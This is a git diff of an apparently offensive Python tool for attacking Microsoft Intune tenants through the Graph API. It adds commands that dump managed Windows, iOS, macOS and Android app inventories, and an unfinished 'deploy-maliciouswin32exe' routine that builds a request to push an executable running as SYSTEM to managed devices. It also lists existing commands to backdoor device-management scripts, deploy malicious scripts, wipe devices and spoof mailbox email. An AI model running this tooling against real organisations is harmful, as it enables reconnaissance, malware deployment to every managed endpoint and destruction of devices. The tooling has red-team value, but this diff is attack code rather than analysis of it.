@@ -158,10 +158,15 @@ def list_commands():
158158
159159 intune_exploit = [
160160 ["Dump-DeviceManagementScripts" , "Dump device management PowerShell scripts" ],
161+ ["Dump-WindowsApps" , "Dump managed Windows OS applications (exe, msi, appx, msix, etc.)" ],
162+ ["Dump-iOSApps" , "Dump managed iOS/iPadOS mobile applications" ],
163+ ["Dump-macOSApps" , "Dump managed macOS applications" ],
164+ ["Dump-AndroidApps" , "Dump managed Android mobile applications" ],
161165 ["Get-ScriptContent" , "Get device management script content" ],
162166 ["Backdoor-Script" , "Add malicious code to pre-existing device management script" ],
163167 ["Deploy-MaliciousScript" , "Deploy new malicious device management PowerShell script (all devices)" ],
164- # Deploy-MaliciousWin32App - Deploy malicious exe/msi to managed devices
168+ # Deploy-MaliciousWin32Exe - Deploy malicious exe to managed devices
169+ # Deploy-MaliciousWin32MSI - Deploy malicious MSI to managed devices
165170 ["Display-AVPolicyRules" , "Display antivirus policy rules" ],
166171 ["Display-ASRPolicyRules" , "Display Attack Surface Reduction (ASR) policy rules" ],
167172 ["Display-DiskEncryptionPolicyRules" , "Display disk encryption policy rules" ],
@@ -652,8 +657,8 @@ def main():
652657 "delete-user" , "delete-group" , "remove-groupmember" , "delete-application" , "delete-device" , "wipe-device" , "retire-device" ,
653658 "get-manageddevices" , "get-userdevices" , "get-caps" , "get-devicecategories" , "get-devicecompliancepolicies" ,
654659 "get-devicecompliancesummary" , "get-deviceconfigurations" , "get-deviceconfigurationpolicies" , "get-deviceconfigurationpolicysettings" ,
655- "get-deviceenrollmentconfigurations" , "get-devicegrouppolicyconfigurations" ,"update-userproperties" ,
656- "get-devicegrouppolicydefinition" , "dump-devicemanagementscripts" , "get-scriptcontent" , "find-privilegedapplications" ,
660+ "get-deviceenrollmentconfigurations" , "get-devicegrouppolicyconfigurations" ,"update-userproperties" , "dump-windowsapps" , "dump-iosapps" , "dump-androidapps" ,
661+ "get-devicegrouppolicydefinition" , "dump-devicemanagementscripts" , "get-scriptcontent" , "find-privilegedapplications" , "dump-macosapps" ,
657662 "get-roledefinitions" , "get-roleassignments" , "display-avpolicyrules" , "display-asrpolicyrules" , "display-diskencryptionpolicyrules" ,
658663 "display-firewallrulepolicyrules" , "display-lapsaccountprotectionpolicyrules" , "display-usergroupaccountprotectionpolicyrules" , "get-appserviceprincipal" ,
659664 "display-edrpolicyrules" ,"add-exclusiongrouptopolicy" , "deploy-maliciousscript" , "reboot-device" , "shutdown-device" , "lock-device" , "backdoor-script" ,
@@ -732,11 +737,11 @@ def main():
732737 "list-sharedonedrivefiles" , "invoke-customquery" , "invoke-search" , "find-privilegedroleusers" ,
733738 "find-updatablegroups" , "find-dynamicgroups" ,"find-securitygroups" , "locate-objectid" , "update-userpassword" , "add-applicationpassword" ,
734739 "add-usertap" , "add-groupmember" , "create-application" , "create-newuser" , "invite-guestuser" ,
735- "assign-privilegedrole" , "open-owamailboxinbrowser" , "dump-owamailbox" , "spoof-owaemailmessage" ,
740+ "assign-privilegedrole" , "open-owamailboxinbrowser" , "dump-owamailbox" , "spoof-owaemailmessage" , "dump-androidapps" ,
736741 "delete-user" , "delete-group" , "remove-groupmember" , "delete-application" , "delete-device" , "wipe-device" , "retire-device" ,
737- "get-caps" , "get-devicecategories" , "display-devicecompliancepolicies" , "get-devicecompliancesummary" ,
738- "get-deviceconfigurations" , "get-deviceconfigurationpolicies" , "get-deviceconfigurationpolicysettings" ,
739- "get-deviceenrollmentconfigurations" , "get-devicegrouppolicyconfigurations" , "grant-appadminconsent" ,
742+ "get-caps" , "get-devicecategories" , "display-devicecompliancepolicies" , "get-devicecompliancesummary" , "dump-macosapps" ,
743+ "get-deviceconfigurations" , "get-deviceconfigurationpolicies" , "get-deviceconfigurationpolicysettings" , "dump-iosapps" ,
744+ "get-deviceenrollmentconfigurations" , "get-devicegrouppolicyconfigurations" , "grant-appadminconsent" , "dump-windowsapps" ,
740745 "get-devicegrouppolicydefinition" , "dump-devicemanagementscripts" , "update-userproperties" , "find-privilegedapplications" ,
741746 "get-scriptcontent" , "get-roledefinitions" , "get-roleassignments" , "display-avpolicyrules" ,"get-appserviceprincipal" ,
742747 "display-asrpolicyrules" , "display-diskencryptionpolicyrules" , "display-firewallrulepolicyrules" , "backdoor-script" ,
@@ -4804,6 +4809,54 @@ def parse_permissionid(content):
48044809 graph_api_get (access_token , api_url , args )
48054810 print ("=" * 80 )
48064811
4812+ # dump-windowsapps
4813+ elif args .command and args .command .lower () == "dump-windowsapps" :
4814+ print_yellow ("\n [*] Dump-WindowsApps" )
4815+ print ("=" * 80 )
4816+ api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=(isof(%27microsoft.graph.win32CatalogApp%27)%20or%20isof(%27microsoft.graph.windowsStoreApp%27)%20or%20isof(%27microsoft.graph.microsoftStoreForBusinessApp%27)%20or%20isof(%27microsoft.graph.officeSuiteApp%27)%20or%20(isof(%27microsoft.graph.win32LobApp%27)%20and%20not(isof(%27microsoft.graph.win32CatalogApp%27)))%20or%20isof(%27microsoft.graph.windowsMicrosoftEdgeApp%27)%20or%20isof(%27microsoft.graph.windowsPhone81AppX%27)%20or%20isof(%27microsoft.graph.windowsPhone81StoreApp%27)%20or%20isof(%27microsoft.graph.windowsPhoneXAP%27)%20or%20isof(%27microsoft.graph.windowsAppX%27)%20or%20isof(%27microsoft.graph.windowsMobileMSI%27)%20or%20isof(%27microsoft.graph.windowsUniversalAppX%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.windowsWebApp%27)%20or%20isof(%27microsoft.graph.winGetApp%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&"
4817+
4818+ if args .select :
4819+ api_url += "$select=" + args .select # some fields will 400 whole req
4820+
4821+ graph_api_get (access_token , api_url , args )
4822+ print ("=" * 80 )
4823+
4824+ # dump-iosapps
4825+ elif args .command and args .command .lower () == "dump-iosapps" :
4826+ print_yellow ("\n [*] Dump-iOSApps" )
4827+ print ("=" * 80 )
4828+ api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=((isof(%27microsoft.graph.managedIOSStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27lineOfBusiness%27)%20or%20isof(%27microsoft.graph.iosLobApp%27)%20or%20isof(%27microsoft.graph.iosStoreApp%27)%20or%20isof(%27microsoft.graph.iosVppApp%27)%20or%20isof(%27microsoft.graph.managedIOSLobApp%27)%20or%20(isof(%27microsoft.graph.managedIOSStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27global%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.iOSiPadOSWebClip%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&"
4829+
4830+ if args .select :
4831+ api_url += "$select=" + args .select # some fields will 400 whole req
4832+
4833+ graph_api_get (access_token , api_url , args )
4834+ print ("=" * 80 )
4835+
4836+ # dump-macosapps
4837+ elif args .command and args .command .lower () == "dump-macosapps" :
4838+ print_yellow ("\n [*] Dump-macOSApps" )
4839+ print ("=" * 80 )
4840+ api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=(isof(%27microsoft.graph.macOSDmgApp%27)%20or%20isof(%27microsoft.graph.macOSPkgApp%27)%20or%20isof(%27microsoft.graph.macOSLobApp%27)%20or%20isof(%27microsoft.graph.macOSMicrosoftEdgeApp%27)%20or%20isof(%27microsoft.graph.macOSMicrosoftDefenderApp%27)%20or%20isof(%27microsoft.graph.macOSOfficeSuiteApp%27)%20or%20isof(%27microsoft.graph.macOsVppApp%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.macOSWebClip%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&"
4841+
4842+ if args .select :
4843+ api_url += "$select=" + args .select # some fields will 400 whole req
4844+
4845+ graph_api_get (access_token , api_url , args )
4846+ print ("=" * 80 )
4847+
4848+ # dump-androidapps
4849+ elif args .command and args .command .lower () == "dump-androidapps" :
4850+ print_yellow ("\n [*] Dump-AndroidApps" )
4851+ print ("=" * 80 )
4852+ api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=((isof(%27microsoft.graph.androidManagedStoreApp%27)%20and%20microsoft.graph.androidManagedStoreApp/isSystemApp%20eq%20true)%20or%20isof(%27microsoft.graph.androidLobApp%27)%20or%20isof(%27microsoft.graph.androidStoreApp%27)%20or%20(isof(%27microsoft.graph.managedAndroidStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27lineOfBusiness%27)%20or%20isof(%27microsoft.graph.managedAndroidLobApp%27)%20or%20(isof(%27microsoft.graph.managedAndroidStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27global%27)%20or%20(isof(%27microsoft.graph.androidManagedStoreApp%27)%20and%20microsoft.graph.androidManagedStoreApp/isSystemApp%20eq%20false)%20or%20isof(%27microsoft.graph.webApp%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&"
4853+
4854+ if args .select :
4855+ api_url += "$select=" + args .select # some fields will 400 whole req
4856+
4857+ graph_api_get (access_token , api_url , args )
4858+ print ("=" * 80 )
4859+
48074860 # get-scriptcontent
48084861 elif args .command and args .command .lower () == "get-scriptcontent" :
48094862 if not args .id :
@@ -5836,7 +5889,7 @@ def parse_permissionid(content):
58365889 }
58375890
58385891 # 1. get current target script settings and encode new script content so we don't override anything
5839- # ~> could add option to alter pre-existing settings...
5892+ # - could add option to alter pre-existing settings...
58405893 try :
58415894 script_content = read_file_content (args .script )
58425895 encoded_script_content = base64 .b64encode (script_content .encode ('utf-8' )).decode ('utf-8' )
@@ -5882,8 +5935,69 @@ def parse_permissionid(content):
58825935 print ("=" * 80 )
58835936
58845937 # deploy-maliciouswin32app
5885- # - todo, needs IntuneWinAppUtil.exe to package the EXE/MSI
58865938 # - user will have to packagae app prior
5939+ # https://cloudinfra.net/how-to-deploy-exe-applications-using-intune/
5940+ # https://www.systemcenterdudes.com/deploy-microsoft-intune-win32-apps/
5941+ #
5942+ # POST https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/
5943+ # {"@odata.type":"#microsoft.graph.win32LobApp","applicableArchitectures":"x64,x86","allowAvailableUninstall":false,"categories":[],"description":"IntuneMessageBox","developer":"","displayName":"IntuneMessageBox","displayVersion":"","fileName":"IntuneMessageBox.intunewin","installCommandLine":"IntuneMessageBox.exe","installExperience":{"deviceRestartBehavior":"suppress","maxRunTimeInMinutes":30,"runAsAccount":"system"},"informationUrl":"","isFeatured":false,"roleScopeTagIds":[],"notes":"","minimumSupportedWindowsRelease":"1607","msiInformation":null,"owner":"","privacyInformationUrl":"","publisher":"ECorp","returnCodes":[{"returnCode":0,"type":"success"},{"returnCode":1707,"type":"success"},{"returnCode":3010,"type":"softReboot"},{"returnCode":1641,"type":"hardReboot"},{"returnCode":1618,"type":"retry"}],"rules":[{"@odata.type":"#microsoft.graph.win32LobAppFileSystemRule","ruleType":"detection","operator":"notConfigured","check32BitOn64System":false,"operationType":"exists","comparisonValue":null,"fileOrFolderName":"IntuneMessageBox.exe","path":"C:\\Program Files\\IntuneMessageBox.exe"}],"runAs32Bit":false,"setupFilePath":"IntuneMessageBox.exe","uninstallCommandLine":"IntuneMessageBox.exe"}
5944+ # - ime tried to install
5945+ # -> need to add install/uninstall instruction batch script
5946+ elif args .command and args .command .lower () == "deploy-maliciouswin32exe" : # don't use this yet
5947+ url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/"
5948+
5949+ # add the option to be available in the company portal for download!
5950+ data = {
5951+ "@odata.type" : "#microsoft.graph.win32LobApp" ,
5952+ "applicableArchitectures" : "x64,x86" ,
5953+ "allowAvailableUninstall" : False ,
5954+ "categories" : [],
5955+ "description" : "IntuneMessageBox" ,
5956+ "developer" : "" ,
5957+ "displayName" : "IntuneMessageBox" ,
5958+ "displayVersion" : "" ,
5959+ "fileName" : "IntuneMessageBox.intunewin" ,
5960+ "installCommandLine" : "IntuneMessageBox.exe" ,
5961+ "installExperience" : {
5962+ "deviceRestartBehavior" : "suppress" ,
5963+ "maxRunTimeInMinutes" : 30 ,
5964+ "runAsAccount" : "system"
5965+ },
5966+ "informationUrl" : "" ,
5967+ "isFeatured" : False ,
5968+ "roleScopeTagIds" : [],
5969+ "notes" : "" ,
5970+ "minimumSupportedWindowsRelease" : "1607" ,
5971+ "msiInformation" : None ,
5972+ "owner" : "" ,
5973+ "privacyInformationUrl" : "" ,
5974+ "publisher" : "ECorp" ,
5975+ "returnCodes" : [
5976+ {"returnCode" : 0 , "type" : "success" },
5977+ {"returnCode" : 1707 , "type" : "success" },
5978+ {"returnCode" : 3010 , "type" : "softReboot" },
5979+ {"returnCode" : 1641 , "type" : "hardReboot" },
5980+ {"returnCode" : 1618 , "type" : "retry" }
5981+ ],
5982+ "rules" : [
5983+ {
5984+ "@odata.type" : "#microsoft.graph.win32LobAppFileSystemRule" ,
5985+ "ruleType" : "detection" ,
5986+ "operator" : "notConfigured" ,
5987+ "check32BitOn64System" : False ,
5988+ "operationType" : "exists" ,
5989+ "comparisonValue" : None ,
5990+ "fileOrFolderName" : "IntuneMessageBox.exe" ,
5991+ "path" : "C:\\ Program Files\\ IntuneMessageBox.exe"
5992+ }
5993+ ],
5994+ "runAs32Bit" : False ,
5995+ "setupFilePath" : "IntuneMessageBox.exe" ,
5996+ "uninstallCommandLine" : "IntuneMessageBox.exe"
5997+ }
5998+
5999+ # deploy-maliciouswin32msi
6000+ # - after confirming win32exe
58876001
58886002 # reboot-device
58896003 elif args .command and args .command .lower () == "reboot-device" :
0 commit comments